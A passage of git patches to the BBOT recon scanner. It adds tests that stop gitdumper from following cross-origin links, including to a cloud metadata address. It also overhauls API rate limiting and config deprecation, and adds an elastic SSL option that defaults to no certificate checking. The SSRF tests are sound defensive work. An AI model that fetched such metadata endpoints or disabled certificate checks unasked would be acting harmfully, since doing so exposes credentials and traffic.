continue response = await self.helpers.request(folder_url) if getattr(response, "status_code", 0) == 200: - file_list.extend(await self.recursive_dir_list(response)) + file_list.extend(await self.recursive_dir_list(response, _depth=_depth + 1, _max_depth=_max_depth)) else: file_url = self.helpers.urljoin(str(dir_listing.url), href) - # Ensure the file is in the same domain as the directory listing if file_url.startswith(str(dir_listing.url)): url = self.helpers.urlparse(file_url) file_list.append(url) diff --git a/bbot/test/test_step_1/test_gitdumper_safeguards.py b/bbot/test/test_step_1/test_gitdumper_safeguards.py index 0ba36e849f..ca79923bdc 100644 --- a/bbot/test/test_step_1/test_gitdumper_safeguards.py +++ b/bbot/test/test_step_1/test_gitdumper_safeguards.py @@ -6,6 +6,7 @@ """ import pytest +from unittest.mock import MagicMock from ..bbot_fixtures import * # noqa: F401, F403 @@ -139,3 +140,72 @@ async def fake_catfile(hash_, option="-t", folder=None): ) finally: await scan._cleanup() + + +@pytest.mark.asyncio +async def test_recursive_dir_list_rejects_cross_origin_folders(bbot_scanner, monkeypatch): + """Folder links pointing to a different origin must be skipped.""" + scan = bbot_scanner("evilcorp.com", modules=["gitdumper"]) + await scan._prep() + try: + gitdumper = scan.modules["gitdumper"] + requested_urls = [] + + async def tracking_request(url, **kwargs): + requested_urls.append(str(url)) + return None + + monkeypatch.setattr(gitdumper.helpers, "request", tracking_request) + + listing_html = """ + objects/ + steal/ + meta/ + HEAD + """ + + fake_response = MagicMock() + fake_response.url = "http://example.com/.git/" + fake_response.text = listing_html + fake_response.status_code = 200 + + await gitdumper.recursive_dir_list(fake_response) + + assert any("example.com/.git/objects/" in u for u in requested_urls), ( + "legitimate subdirectory was not followed" + ) + assert not any("evil.test" in u for u in requested_urls), "cross-origin folder link was followed" + assert not any("169.254" in u for u in requested_urls), "metadata endpoint was followed" + finally: + await scan._cleanup() + + +@pytest.mark.asyncio +async def test_recursive_dir_list_caps_depth(bbot_scanner, monkeypatch): + """recursive_dir_list must stop at the configured max depth.""" + scan = bbot_scanner("evilcorp.com", modules=["gitdumper"]) + await scan._prep() + try: + gitdumper = scan.modules["gitdumper"] + depth_counter = [0] + + async def infinite_listing(url, **kwargs): + depth_counter[0] += 1 + resp = MagicMock() + resp.url = str(url) + resp.text = 'deeper/' + resp.status_code = 200 + return resp + + monkeypatch.setattr(gitdumper.helpers, "request", infinite_listing) + + fake_response = MagicMock() + fake_response.url = "http://example.com/.git/" + fake_response.text = 'level1/' + fake_response.status_code = 200 + + await gitdumper.recursive_dir_list(fake_response, _max_depth=5) + + assert depth_counter[0] <= 5, f"recursed {depth_counter[0]} levels, expected max 5" + finally: + await scan._cleanup() From 525865b600006cf24752adcc219b5a875824bd59 Mon Sep 17 00:00:00 2001 From: Paul Mueller Date: Mon, 5 Oct 2026 17:40:57 -0400 Subject: [PATCH 132/256] Overhaul api_request rate limiting and add config deprecation support (#3461) * Overhaul api_request rate limiting and add config deprecation support * elastic: add ssl_verify option * elastic: default ssl_verify to false --- bbot/core/config/models.py | 46 ++++- bbot/core/modules.py | 8 + bbot/modules/base.py | 140 ++++++++----- bbot/modules/output/discord.py | 2 +- bbot/modules/output/elastic.py | 6 +- bbot/modules/output/slack.py | 2 +- bbot/modules/output/teams.py | 2 +- bbot/modules/output/webhook.py | 40 ++-- bbot/modules/shodan_idb.py | 13 +- bbot/modules/subdomainradar.py | 2 +- bbot/modules/templates/webhook.py | 9 - bbot/scanner/scanner.py | 7 + bbot/test/test_step_1/test_api_request.py | 195 ++++++++++++++++++ bbot/test/test_step_1/test_validate_preset.py | 37 +++- .../module_tests/test_module_webhook.py | 54 +++++ 15 files changed, 461 insertions(+), 102 deletions(-) create mode 100644 bbot/test/test_step_1/test_api_request.py diff --git a/bbot/core/config/models.py b/bbot/core/config/models.py index 08c6233d01..c7fd6a57ad 100644 --- a/bbot/core/config/models.py +++ b/bbot/core/config/models.py @@ -39,9 +39,16 @@ def _normalize_upper(v): ] -def Field(default=PydanticUndefined, *, sensitive: bool = False, mandatory: bool = False, **kwargs): +def Field( + default=PydanticUndefined, + *, + sensitive: bool = False, + mandatory: bool = False, + deprecated: bool = False, + **kwargs, +): """ - Drop-in replacement for `pydantic.Field` that records two BBOT-specific + Drop-in replacement for `pydantic.Field` that records BBOT-specific flags as field metadata: - `sensitive=True`: value should be redacted when serializing configs @@ -49,8 +56,11 @@ def Field(default=PydanticUndefined, *, sensitive: bool = False, mandatory: bool - `mandatory=True`: option must be supplied for the module to function; drives the "Needs API Key" column in `bbot -l` and the `BaseModule.auth_required` property. + - `deprecated=True`: option is no longer used. It is still accepted so + existing presets keep working, but it is ignored, left out of defaults + and docs, and setting it logs a warning at scan startup. - Both flags are stashed under `json_schema_extra` so pydantic preserves + The flags are stashed under `json_schema_extra` so pydantic preserves them on `FieldInfo.json_schema_extra` (and in any generated JSON schema) without affecting validation. All other arguments pass through unchanged. """ @@ -59,6 +69,8 @@ def Field(default=PydanticUndefined, *, sensitive: bool = False, mandatory: bool extra["sensitive"] = True if mandatory: extra["mandatory"] = True + if deprecated: + extra["deprecated"] = True if extra: kwargs["json_schema_extra"] = extra return _PydanticField(default, **kwargs) @@ -78,6 +90,10 @@ def is_mandatory(field) -> bool: return bool(field_flags(field).get("mandatory")) +def is_deprecated(field) -> bool: + return bool(field_flags(field).get("deprecated")) + + def _unwrap_optional(annotation): """Strip a single `Optional[X]` / `Union[X, None]` wrapper, return X. Pass-through otherwise.""" import typing @@ -231,6 +247,28 @@ def partition_sensitive_config(config, model, *, keep_sensitive: bool): return out +def find_deprecated_config(config, model, prefix=""): + """ + Walk `config` (a dict) alongside the pydantic `model` and return the dotted + paths of every `deprecated=True` option that is set, e.g. `["modules.slack.retries"]`. + """ + found = [] + if not isinstance(config, dict) or model is None: + return found + for key, val in config.items(): + field = _resolve_field(model, key) + if field is None: + continue + dotted = f"{prefix}.{key}" if prefix else str(key) + if is_deprecated(field): + found.append(dotted) + continue + sub_model = _field_submodel(field) + if sub_model is not None: + found.extend(find_deprecated_config(val, sub_model, dotted)) + return found + + class ScopeConfig(BaseModel): model_config = STRICT @@ -485,6 +523,8 @@ class PresetSchema(BaseModel): "coerce_config", "coerce_value", "field_flags", + "find_deprecated_config", + "is_deprecated", "is_mandatory", "is_sensitive", "partition_sensitive_config", diff --git a/bbot/core/modules.py b/bbot/core/modules.py index cee81ef6f2..98045f8680 100644 --- a/bbot/core/modules.py +++ b/bbot/core/modules.py @@ -224,6 +224,7 @@ def _extract_pydantic_config(config_class: ast.ClassDef) -> tuple[dict, dict, se description = "" is_sensitive = False is_mandatory = False + is_deprecated = False value = node.value if isinstance(value, ast.Call) and isinstance(value.func, ast.Name) and value.func.id == "Field": @@ -245,15 +246,22 @@ def _extract_pydantic_config(config_class: ast.ClassDef) -> tuple[dict, dict, se elif kw.arg == "mandatory": with suppress(ValueError, TypeError, SyntaxError): is_mandatory = bool(ast.literal_eval(kw.value)) + elif kw.arg == "deprecated": + with suppress(ValueError, TypeError, SyntaxError): + is_deprecated = bool(ast.literal_eval(kw.value)) elif kw.arg == "json_schema_extra": with suppress(ValueError, TypeError, SyntaxError): extra = ast.literal_eval(kw.value) if isinstance(extra, dict): is_sensitive = is_sensitive or bool(extra.get("sensitive")) is_mandatory = is_mandatory or bool(extra.get("mandatory")) + is_deprecated = is_deprecated or bool(extra.get("deprecated")) elif value is not None: default = _eval_ast_default(value) + # deprecated options are still accepted, but they get no default and aren't listed + if is_deprecated: + continue if default is _UNEVALUATED: # couldn't statically determine; fall back to None so listing still works default = None diff --git a/bbot/modules/base.py b/bbot/modules/base.py index ae77a0cd0d..2d553d35ce 100644 --- a/bbot/modules/base.py +++ b/bbot/modules/base.py @@ -1,13 +1,17 @@ +import time import asyncio import logging import traceback from sys import exc_info from contextlib import suppress +from email.utils import parsedate_to_datetime +from datetime import datetime, timezone from ..core.helpers.misc import get_size # noqa from ..errors import HttpCompareError, ValidationError, WebError from ..core.helpers.async_helpers import TaskCounter, ShuffleQueue from ..core.event import is_event +from .. import __version__ class BaseModule: @@ -67,7 +71,7 @@ class BaseModule: batch_size (int): Size of batches processed by handle_batch(). Default is 1. - api_failure_abort_threshold (int): Threshold for setting error state after failed HTTP requests (only takes effect when `api_request()` is used. Default is 5. + api_failure_abort_threshold (int): Threshold for setting error state after consecutive failed HTTP requests, not counting rate limits (only takes effect when `api_request()` is used). _preserve_graph (bool): When set to True, accept events that may be duplicates but are necessary for construction of complete graph. Typically only enabled for output modules that need to maintain full chains of events, e.g. `neo4j` and `json`. Default is False. @@ -112,6 +116,11 @@ class BaseModule: # disable the module after this many failed attempts in a row _api_failure_abort_threshold = 3 + # disable the module after this many rate-limited attempts in a row (per API key) + _api_rate_limit_abort_threshold = 10 + # seconds to wait before retrying a failed API request (doubles with each retry) + _api_retry_backoff = 1 + _api_retry_max_backoff = 30 # whether to retry on 429s when first pinging the API at scan start _ping_retry_on_http_429 = False @@ -164,6 +173,9 @@ def __init__(self, scan): # track number of failures (for .api_request()) self._api_request_failures = 0 + # consecutive rate-limited responses, and when we may send again (shared by all event handlers) + self._api_rate_limit_count = 0 + self._api_rate_limited_until = 0.0 self._default_api_retries = self.scan.config.get("web", {}).get("api_retries", 2) @@ -370,6 +382,10 @@ def api_retries(self): def api_failure_abort_threshold(self): return (self.api_retries * self._api_failure_abort_threshold) + 1 + @property + def api_rate_limit_abort_threshold(self): + return self._api_rate_limit_abort_threshold * max(1, len(self._api_keys)) + async def ping(self, url=None): """Asynchronously checks the health of the configured API. @@ -1352,57 +1368,80 @@ def prepare_api_request(self, url, kwargs): async def api_request(self, *args, **kwargs): """ Makes an HTTP request while automatically: - - avoiding rate limits (sleep/retry) + - obeying rate limits (Retry-After), shared across all of the module's event handlers - cycling API keys - - cancelling after too many failed attempts + - backing off between retries of failed requests + - cancelling after too many failed or rate-limited attempts """ url = args[0] if args else kwargs.pop("url", "") retry_on_http_429 = kwargs.pop("retry_on_http_429", True) - - # loop until we have a successful request - for _ in range(self.api_retries): - if "headers" not in kwargs: - kwargs["headers"] = {} - if "ssl_verify" not in kwargs: - kwargs["ssl_verify"] = self.helpers.web.ssl_verify_infrastructure - if "timeout" not in kwargs: - kwargs["timeout"] = self.http_timeout_infrastructure + # we do all the retrying here; blasthttp's own retries would ignore Retry-After + kwargs["retries"] = 0 + # API calls identify themselves honestly instead of using the scan's (browser) user agent + kwargs["headers"] = dict(kwargs.get("headers") or {}) + if not any(k.lower() == "user-agent" for k in kwargs["headers"]): + kwargs["headers"]["User-Agent"] = f"BBOT/{__version__}" + if "ssl_verify" not in kwargs: + kwargs["ssl_verify"] = self.helpers.web.ssl_verify_infrastructure + if "timeout" not in kwargs: + kwargs["timeout"] = self.http_timeout_infrastructure + + r = None + backoff = self._api_retry_backoff + for attempt in range(self.api_retries): + if self.errored: + break + # obey the rate limit, which another event handler may have extended while we waited + while (remaining := self._api_rate_limited_until - time.monotonic()) > 0: + await asyncio.sleep(remaining) new_url, kwargs = self.prepare_api_request(url, kwargs) kwargs["url"] = new_url r = await self.helpers.request(**kwargs) - success = r is not None and self._api_response_is_success(r) - - if success: + if r is not None and self._api_response_is_success(r): self._api_request_failures = 0 - else: - status_code = getattr(r, "status_code", 0) - response_text = getattr(r, "text", "") - self.trace(f"API response to {url} failed with status code {status_code}: {response_text}") - self._api_request_failures += 1 - if self._api_request_failures >= self.api_failure_abort_threshold: + self._api_rate_limit_count = 0 + break + + status_code = getattr(r, "status_code", 0) + response_text = getattr(r, "text", "") + self.trace(f"API response to {url} failed with status code {status_code}: {response_text}") + retry_after = self._get_retry_after(r) + + if status_code == 429 or retry_after is not None: + if not retry_on_http_429: + # e.g. a setup ping, where a 429 usually means the quota is used up; don't wait on it + if len(self._api_keys) < 2: + break + self.cycle_api_key() + continue + # rate limits aren't failures, but being rate limited over and over despite obeying is + self._api_rate_limit_count += 1 + if self._api_rate_limit_count >= self.api_rate_limit_abort_threshold: self.set_error_state( - f"Setting error state due to {self._api_request_failures:,} failed HTTP requests" + f"Setting error state after being rate limited {self._api_rate_limit_count:,} times in a row" ) - else: - # sleep for a bit if we're being rate limited - retry_after = self._get_retry_after(r) - if (retry_after or status_code == 429) and retry_on_http_429: - sleep_interval = int(retry_after) if retry_after is not None else self._429_sleep_interval - if retry_after and retry_after > self._429_max_sleep_interval: - self.verbose( - f"Got an excessive retry-after header of {retry_after} from {new_url}, using {self._429_max_sleep_interval} instead" - ) - sleep_interval = self._429_max_sleep_interval - self.verbose( - f"Sleeping for {sleep_interval:,} seconds due to rate limit (HTTP status: {status_code})" - ) - await asyncio.sleep(sleep_interval) - elif self._api_keys: - # if request failed, cycle API keys and try again - self.cycle_api_key() - continue - break + break + sleep_interval = self._429_sleep_interval if retry_after is None else retry_after + if sleep_interval > self._429_max_sleep_interval: + self.verbose( + f"Got an excessive retry-after of {sleep_interval} from {new_url}, using {self._429_max_sleep_interval} instead" + ) + sleep_interval = self._429_max_sleep_interval + self.verbose(f"Rate limited (HTTP status: {status_code}), waiting {sleep_interval:,} seconds") + self._api_rate_limited_until = max(self._api_rate_limited_until, time.monotonic() + sleep_interval) + self.cycle_api_key() + continue + + self._api_rate_limit_count = 0 + self._api_request_failures += 1 + if self._api_request_failures >= self.api_failure_abort_threshold: + self.set_error_state(f"Setting error state due to {self._api_request_failures:,} failed HTTP requests") + break + self.cycle_api_key() + if attempt < self.api_retries - 1: + await asyncio.sleep(backoff) + backoff = min(backoff * 2, self._api_retry_max_backoff) return r @@ -1434,11 +1473,20 @@ def _get_retry_after(self, r): body_json = r.json() if isinstance(body_json, dict): retry_after = body_json.get("retry_after", None) - if retry_after is not None: - # we don't allow retry-after smaller than 1 second - # this is to prevent cases where APIs erroneously return a retry-after value of 0 - # e.g. https://github.com/blacklanternsecurity/bbot/issues/2826 - return max(1.0, float(retry_after)) + if retry_after is None: + return None + try: + seconds = float(retry_after) + except (TypeError, ValueError): + # Retry-After can also be an HTTP date + try: + seconds = (parsedate_to_datetime(retry_after) - datetime.now(timezone.utc)).total_seconds() + except (TypeError, ValueError): + return None + # we don't allow retry-after smaller than 1 second + # this is to prevent cases where APIs erroneously return a retry-after value of 0 + # e.g. https://github.com/blacklanternsecurity/bbot/issues/2826 + return max(1.0, seconds) def _prepare_api_iter_req(self, url, page, page_size, offset, **requests_kwargs): """ diff --git a/bbot/modules/output/discord.py b/bbot/modules/output/discord.py index 82656e0e30..fd06f46f3e 100644 --- a/bbot/modules/output/discord.py +++ b/bbot/modules/output/discord.py @@ -14,4 +14,4 @@ class Config(BaseModuleConfig): webhook_url: str = Field("", description="Discord webhook URL", sensitive=True) event_types: list[str] = Field(["FINDING"], description="Types of events to send") min_severity: str = Field("LOW", description="Only allow FINDING events of this severity or higher") - retries: int = Field(10, description="Number of times to retry sending the message before skipping the event") + retries: int | None = Field(None, deprecated=True, description="No longer used") diff --git a/bbot/modules/output/elastic.py b/bbot/modules/output/elastic.py index 768a48bb6d..7718a9cd35 100644 --- a/bbot/modules/output/elastic.py +++ b/bbot/modules/output/elastic.py @@ -23,9 +23,13 @@ class Config(BaseModuleConfig): username: str = Field("elastic", description="Elastic username", sensitive=True) password: str = Field("bbotislife", description="Elastic password", sensitive=True) timeout: int = Field(10, description="HTTP timeout") + ssl_verify: bool | None = Field( + False, + description="Verify SSL certificates (Elastic usually serves a self-signed cert; set to null to use the global web.ssl_verify_infrastructure setting)", + ) async def cleanup(self): # refresh the index doc_regex = self.helpers.re.compile(r"/[^/]+$") refresh_url = doc_regex.sub("/_refresh", self.url) - await self.helpers.request(refresh_url, auth=self.auth) + await self.helpers.request(refresh_url, auth=self.auth, ssl_verify=self.ssl_verify) diff --git a/bbot/modules/output/slack.py b/bbot/modules/output/slack.py index 3b80daf9e1..c42c992eb4 100644 --- a/bbot/modules/output/slack.py +++ b/bbot/modules/output/slack.py @@ -16,7 +16,7 @@ class Config(BaseModuleConfig): webhook_url: str = Field("", description="Slack webhook URL", sensitive=True) event_types: list[str] = Field(["FINDING"], description="Types of events to send") min_severity: str = Field("LOW", description="Only allow FINDING events of this severity or higher") - retries: int = Field(10, description="Number of times to retry sending the message before skipping the event") + retries: int | None = Field(None, deprecated=True, description="No longer used") content_key = "text" diff --git a/bbot/modules/output/teams.py b/bbot/modules/output/teams.py index 4954bea293..e93f06e3ab 100644 --- a/bbot/modules/output/teams.py +++ b/bbot/modules/output/teams.py @@ -14,7 +14,7 @@ class Config(BaseModuleConfig): webhook_url: str = Field("", description="Teams webhook URL", sensitive=True) event_types: list[str] = Field(["FINDING"], description="Types of events to send") min_severity: str = Field("LOW", description="Only allow FINDING events of this severity or higher") - retries: int = Field(10, description="Number of times to retry sending the message before skipping the event") + retries: int | None = Field(None, deprecated=True, description="No longer used") async def handle_event(self, event): data = self.format_message(event) diff --git a/bbot/modules/output/webhook.py b/bbot/modules/output/webhook.py index 8d5d9f21f5..6948e69b94 100644 --- a/bbot/modules/output/webhook.py +++ b/bbot/modules/output/webhook.py @@ -19,11 +19,17 @@ class Config(BaseModuleConfig): password: str = Field("", description="Password (basic auth)", sensitive=True) headers: dict = Field({}, description="Additional headers to send with the request", sensitive=True) timeout: int = Field(10, description="HTTP timeout") + ssl_verify: bool | None = Field( + None, description="Verify SSL certificates (defaults to the global web.ssl_verify_infrastructure setting)" + ) async def setup(self): self.url = self.config.get("url", "") self.method = self.config.get("method", "POST") self.timeout = self.config.get("timeout", 10) + self.ssl_verify = self.config.get("ssl_verify", None) + if self.ssl_verify is None: + self.ssl_verify = self.helpers.web.ssl_verify_infrastructure self.headers = dict(self.config.get("headers") or {}) bearer = self.config.get("bearer", "") if bearer: @@ -42,27 +48,13 @@ async def setup(self): return True async def handle_event(self, event): - while 1: - event_json = event.json() - event_pydantic = Event(**event_json) - event_json = event_pydantic.model_dump(exclude_none=True) - response = await self.helpers.request( - url=self.url, - method=self.method, - auth=self.auth, - headers=self.headers, - json=event_json, - ) - is_success = False if response is None else response.is_success - if not is_success: - status_code = getattr(response, "status_code", 0) - self.warning(f"Error sending {event} (HTTP status code: {status_code}), retrying...") - body = getattr(response, "text", "") - self.debug(body) - if status_code == 429: - sleep_interval = 10 - else: - sleep_interval = 1 - await self.helpers.sleep(sleep_interval) - continue - break + event_json = Event(**event.json()).model_dump(exclude_none=True) + await self.api_request( + url=self.url, + method=self.method, + auth=self.auth, + headers=dict(self.headers), + json=event_json, + timeout=self.timeout, + ssl_verify=self.ssl_verify, + ) diff --git a/bbot/modules/shodan_idb.py b/bbot/modules/shodan_idb.py index 9eec8104a5..4519c0863f 100644 --- a/bbot/modules/shodan_idb.py +++ b/bbot/modules/shodan_idb.py @@ -51,13 +51,7 @@ class shodan_idb(BaseModule): } class Config(BaseModuleConfig): - retries: Optional[int] = Field( - None, - description="How many times to retry API requests (e.g. after a 429 error). Overrides the global web.api_retries setting.", - ) - - # we typically don't want to abort this module - _api_failure_abort_threshold = 9999999999 + retries: Optional[int] = Field(None, deprecated=True, description="No longer used") # since there are rate limits, we set a lower qsize # this way when our queue is full, we can give the API a break @@ -83,11 +77,6 @@ async def setup(self): def _incoming_dedup_hash(self, event): return hash(self.get_ip(event)) - @property - def api_retries(self): - # allow the module to override global retry setting - return self.config.get("retries", None) or super().api_retries - async def handle_event(self, event): ip = self.get_ip(event) if ip is None: diff --git a/bbot/modules/subdomainradar.py b/bbot/modules/subdomainradar.py index a99063b3d0..bdcc314cfd 100644 --- a/bbot/modules/subdomainradar.py +++ b/bbot/modules/subdomainradar.py @@ -75,7 +75,7 @@ async def setup(self): return True def prepare_api_request(self, url, kwargs): - kwargs["headers"] = {"Authorization": f"Bearer {self.api_key}"} + kwargs.setdefault("headers", {})["Authorization"] = f"Bearer {self.api_key}" return url, kwargs async def handle_event(self, event): diff --git a/bbot/modules/templates/webhook.py b/bbot/modules/templates/webhook.py index 162fdacdbc..d68eefa31b 100644 --- a/bbot/modules/templates/webhook.py +++ b/bbot/modules/templates/webhook.py @@ -14,11 +14,6 @@ class WebhookOutputModule(BaseOutputModule): severities = ["INFO", "LOW", "MEDIUM", "HIGH", "CRITICAL"] confidences = ["UNKNOWN", "LOW", "MEDIUM", "HIGH", "CONFIRMED"] - # abort module after 10 failed requests (not including retries) - _api_failure_abort_threshold = 10 - # retry each request up to 10 times, respecting the Retry-After header - _default_api_retries = 10 - async def setup(self): self.webhook_url = self.config.get("webhook_url", "") self.min_severity = self.config.get("min_severity", "LOW").strip().upper() @@ -31,10 +26,6 @@ async def setup(self): return False return await super().setup() - @property - def api_retries(self): - return self.config.get("retries", self._default_api_retries) - async def handle_event(self, event): message = self.format_message(event) data = {self.content_key: message} diff --git a/bbot/scanner/scanner.py b/bbot/scanner/scanner.py index 324049d981..f5b8455b2c 100644 --- a/bbot/scanner/scanner.py +++ b/bbot/scanner/scanner.py @@ -17,6 +17,7 @@ from bbot.core.helpers.misc import sha1, rand_string from bbot.core.helpers.names_generator import random_name from bbot.core.config.logger import GzipRotatingFileHandler +from bbot.core.config.models import find_deprecated_config from bbot.core.multiprocess import SHARED_INTERPRETER_STATE from bbot.core.helpers.async_helpers import async_to_sync_gen from bbot.logger import log_to_stderr @@ -375,6 +376,12 @@ async def _prep(self): f.write('# To include secrets, set "redact_secrets: false" in your preset or BBOT config.\n\n') f.write(self.preset.to_yaml(redact_secrets=redact_secrets)) + # deprecated options are accepted but ignored, so make sure the user knows + for path in find_deprecated_config( + self.preset.core.custom_config, self.preset.module_loader.config_schema + ): + self.hugewarning(f'Config option "{path}" is deprecated and will be ignored', trace=False) + # log scan overview start_msg = f"Scan seeded with {len(self.seeds.event_seeds):,} seed(s)" details = [] diff --git a/bbot/test/test_step_1/test_api_request.py b/bbot/test/test_step_1/test_api_request.py new file mode 100644 index 0000000000..f6f0448be3 --- /dev/null +++ b/bbot/test/test_step_1/test_api_request.py @@ -0,0 +1,195 @@ +import time +import asyncio + +from ..bbot_fixtures import * # noqa: F403 + +from bbot import __version__ +from bbot.modules.base import BaseModule +from bbot.test.mock_blasthttp import MockResponse, TimeoutException + + +API_URL = "https://api.evilcorp.com/lookup?key={api_key}" + + +async def _make_module(scan, api_keys=None): + class dummy_api(BaseModule): + _name = "dummy_api" + watched_events = ["DNS_NAME"] + # keep backoff short so tests stay fast + _api_retry_backoff = 0.05 + + module = dummy_api(scan) + if api_keys: + module.api_key = api_keys + return module + + +def _responder(blasthttp_mock, *statuses, headers=None): + """Answer requests with the given statuses in order (the last one repeats), recording each request.""" + requests = [] + + def callback(request): + index = min(len(requests), len(statuses) - 1) + requests.append((time.monotonic(), request)) + status = statuses[index] + if status == "timeout": + raise TimeoutException("timeout") + return MockResponse(status_code=status, headers=headers or {}) + + blasthttp_mock.add_callback(callback) + return requests + + +async def test_api_request_rate_limits_are_not_failures(bbot_scanner, blasthttp_mock): + scan = bbot_scanner(config={"web": {"429_sleep_interval": 0}}) + module = await _make_module(scan) + requests = _responder(blasthttp_mock, 429) + # more rate limits than the failure threshold, but fewer than the rate limit threshold + for _ in range(3): + await module.api_request(API_URL) + assert len(requests) == 9 + assert module._api_request_failures == 0 + assert module._api_rate_limit_count == 9 + assert module.errored is False + + +async def test_api_request_persistent_rate_limit_errors(bbot_scanner, blasthttp_mock): + scan = bbot_scanner(config={"web": {"429_sleep_interval": 0}}) + module = await _make_module(scan) + requests = _responder(blasthttp_mock, 429) + for _ in range(5): + await module.api_request(API_URL) + assert module.api_rate_limit_abort_threshold == 10 + assert len(requests) == 10 + assert module._api_request_failures == 0 + assert module.errored is True + + +async def test_api_request_rate_limit_threshold_scales_with_keys(bbot_scanner, blasthttp_mock): + scan = bbot_scanner(config={"web": {"429_sleep_interval": 0}}) + module = await _make_module(scan, api_keys=["key1", "key2", "key3"]) + requests = _responder(blasthttp_mock, 429) + for _ in range(20): + await module.api_request(API_URL) + if module.errored: + break + assert module.api_rate_limit_abort_threshold == 30 + assert len(requests) == 30 + assert module.errored is True + + +async def test_api_request_non_429_resets_rate_limit_count(bbot_scanner, blasthttp_mock): + """Any response other than a 429 resets the rate limit count. A real failure counts as a failure.""" + scan = bbot_scanner(config={"web": {"429_sleep_interval": 0}}) + module = await _make_module(scan) + + _responder(blasthttp_mock, 429, 429, 200, 429, 429, 500) + await module.api_request(API_URL) + assert module._api_rate_limit_count == 0 + assert module._api_request_failures == 0 + + await module.api_request(API_URL) + assert module._api_rate_limit_count == 0 + assert module._api_request_failures == 1 + assert module.errored is False + + +async def test_api_request_cycles_key_on_429(bbot_scanner, blasthttp_mock): + scan = bbot_scanner(config={"web": {"429_sleep_interval": 0}}) + module = await _make_module(scan, api_keys=["key1", "key2"]) + requests = _responder(blasthttp_mock, 429, 200) + r = await module.api_request(API_URL) + assert r.status_code == 200 + assert [str(req.url) for _, req in requests] == [ + "https://api.evilcorp.com/lookup?key=key1", + "https://api.evilcorp.com/lookup?key=key2", + ] + assert module._api_rate_limit_count == 0 + + +async def test_api_request_obeys_retry_after_across_handlers(bbot_scanner, blasthttp_mock): + """A Retry-After received by one caller holds back every caller in the module.""" + scan = bbot_scanner() + module = await _make_module(scan) + requests = [] + + def callback(request): + requests.append(time.monotonic()) + if len(requests) == 1: + return MockResponse(status_code=429, headers={"Retry-After": "1"}) + return MockResponse(status_code=200) + + blasthttp_mock.add_callback(callback) + + first = asyncio.create_task(module.api_request(API_URL)) + # let the first caller receive its 429 before the second one starts + while not requests: + await asyncio.sleep(0.01) + await asyncio.sleep(0.05) + second = asyncio.create_task(module.api_request(API_URL)) + await asyncio.gather(first, second) + + assert len(requests) == 3 + # both follow-up requests waited out the Retry-After + assert all(t - requests[0] >= 1 for t in requests[1:]) + + +async def test_api_request_backs_off_between_failures(bbot_scanner, blasthttp_mock): + scan = bbot_scanner() + module = await _make_module(scan) + requests = _responder(blasthttp_mock, "timeout") + await module.api_request(API_URL) + times = [t for t, _ in requests] + assert len(times) == 3 + assert times[1] - times[0] >= 0.05 + assert times[2] - times[1] >= 0.1 + assert module._api_request_failures == 3 + + +async def test_api_request_404_is_not_a_failure(bbot_scanner, blasthttp_mock): + scan = bbot_scanner() + module = await _make_module(scan) + requests = _responder(blasthttp_mock, 404) + for _ in range(module.api_failure_abort_threshold + 5): + await module.api_request(API_URL) + assert len(requests) == module.api_failure_abort_threshold + 5 + assert module._api_request_failures == 0 + assert module.errored is False + + +async def test_api_request_ping_does_not_wait_on_429(bbot_scanner, blasthttp_mock): + """With retry_on_http_429=False (setup pings), a 429 returns right away and isn't counted.""" + scan = bbot_scanner() + module = await _make_module(scan) + requests = _responder(blasthttp_mock, 429) + start = time.monotonic() + r = await module.api_request(API_URL, retry_on_http_429=False) + assert time.monotonic() - start < 1 + assert r.status_code == 429 + assert len(requests) == 1 + assert module._api_rate_limit_count == 0 + assert module._api_rate_limited_until == 0 + + +async def test_api_request_user_agent(bbot_scanner, blasthttp_mock): + scan = bbot_scanner(config={"web": {"user_agent_suffix": "engagement-1234"}}) + module = await _make_module(scan) + requests = _responder(blasthttp_mock, 200) + await module.api_request(API_URL) + await module.api_request(API_URL, headers={"User-Agent": "custom"}) + user_agents = [dict(req.headers).get("User-Agent") for _, req in requests] + assert user_agents == [f"BBOT/{__version__}", "custom"] + + +async def test_api_request_retry_after_parsing(bbot_scanner): + scan = bbot_scanner() + module = await _make_module(scan) + assert module._get_retry_after(MockResponse(status_code=429, headers={"Retry-After": "5"})) == 5 + assert module._get_retry_after(MockResponse(status_code=429, headers={"Retry-After": "1.5"})) == 1.5 + # a zero or negative Retry-After is raised to one second + assert module._get_retry_after(MockResponse(status_code=429, headers={"Retry-After": "0"})) == 1 + # an HTTP date in the past is also raised to one second, rather than raising an error + date = "Wed, 21 Oct 2015 07:28:00 GMT" + assert module._get_retry_after(MockResponse(status_code=429, headers={"Retry-After": date})) == 1 + assert module._get_retry_after(MockResponse(status_code=429, headers={"Retry-After": "garbage"})) is None + assert module._get_retry_after(MockResponse(status_code=429)) is None diff --git a/bbot/test/test_step_1/test_validate_preset.py b/bbot/test/test_step_1/test_validate_preset.py index be95d985cb..5b2481191f 100644 --- a/bbot/test/test_step_1/test_validate_preset.py +++ b/bbot/test/test_step_1/test_validate_preset.py @@ -325,9 +325,40 @@ def test_validate_preset_baddns_subclass_severity_is_validated(): assert "Expected one of" in errs[0].message -def test_validate_preset_shodan_idb_retries_is_int(): - """shodan_idb.retries is numeric; the natural `retries: 3` must validate (was typed str).""" - assert validate_preset({"config": {"modules": {"shodan_idb": {"retries": 3}}}}) == [] +def test_validate_preset_deprecated_options_still_validate(): + """Deprecated options are ignored, but presets that still set them must keep validating.""" + for module in ("shodan_idb", "discord", "slack", "teams"): + assert validate_preset({"config": {"modules": {module: {"retries": 3}}}}) == [] + + +def test_deprecated_options_have_no_defaults(): + from bbot.core.modules import MODULE_LOADER + + for module in ("shodan_idb", "discord", "slack", "teams"): + assert "retries" not in MODULE_LOADER.preloaded()[module]["config"] + + +def test_find_deprecated_config(): + from bbot.core.modules import MODULE_LOADER + from bbot.core.config.models import find_deprecated_config + + config = { + "web": {"http_retries": 1}, + "modules": {"slack": {"retries": 5, "webhook_url": "https://example.com"}, "shodan_idb": {"retries": 2}}, + } + assert sorted(find_deprecated_config(config, MODULE_LOADER.config_schema)) == [ + "modules.shodan_idb.retries", + "modules.slack.retries", + ] + assert find_deprecated_config({"modules": {"slack": {"webhook_url": "x"}}}, MODULE_LOADER.config_schema) == [] + + +async def test_deprecated_option_warns_at_scan_start(caplog): + from bbot.scanner import Scanner + + scan = Scanner(config={"modules": {"shodan_idb": {"retries": 3}}}) + await scan._prep() + assert 'Config option "modules.shodan_idb.retries" is deprecated and will be ignored' in caplog.text def test_validate_preset_lightfuzz_avoid_wafs_accepts_bool(): diff --git a/bbot/test/test_step_2/module_tests/test_module_webhook.py 